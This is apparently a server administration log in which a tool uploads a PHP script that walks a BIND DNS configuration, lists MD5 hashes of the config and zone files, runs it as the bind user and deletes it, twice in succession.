MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:25:58: Establishing a connection
2026-04-25 10:25:59: 

PUT: /tmp/pkp563284

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:25:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp563284; rm /tmp/pkp563284'

2026-04-25 10:25:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:26:00: Establishing a connection
2026-04-25 10:26:00: 

PUT: /tmp/pkp248393

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:26:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp248393; rm /tmp/pkp248393'

2026-04-25 10:26:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
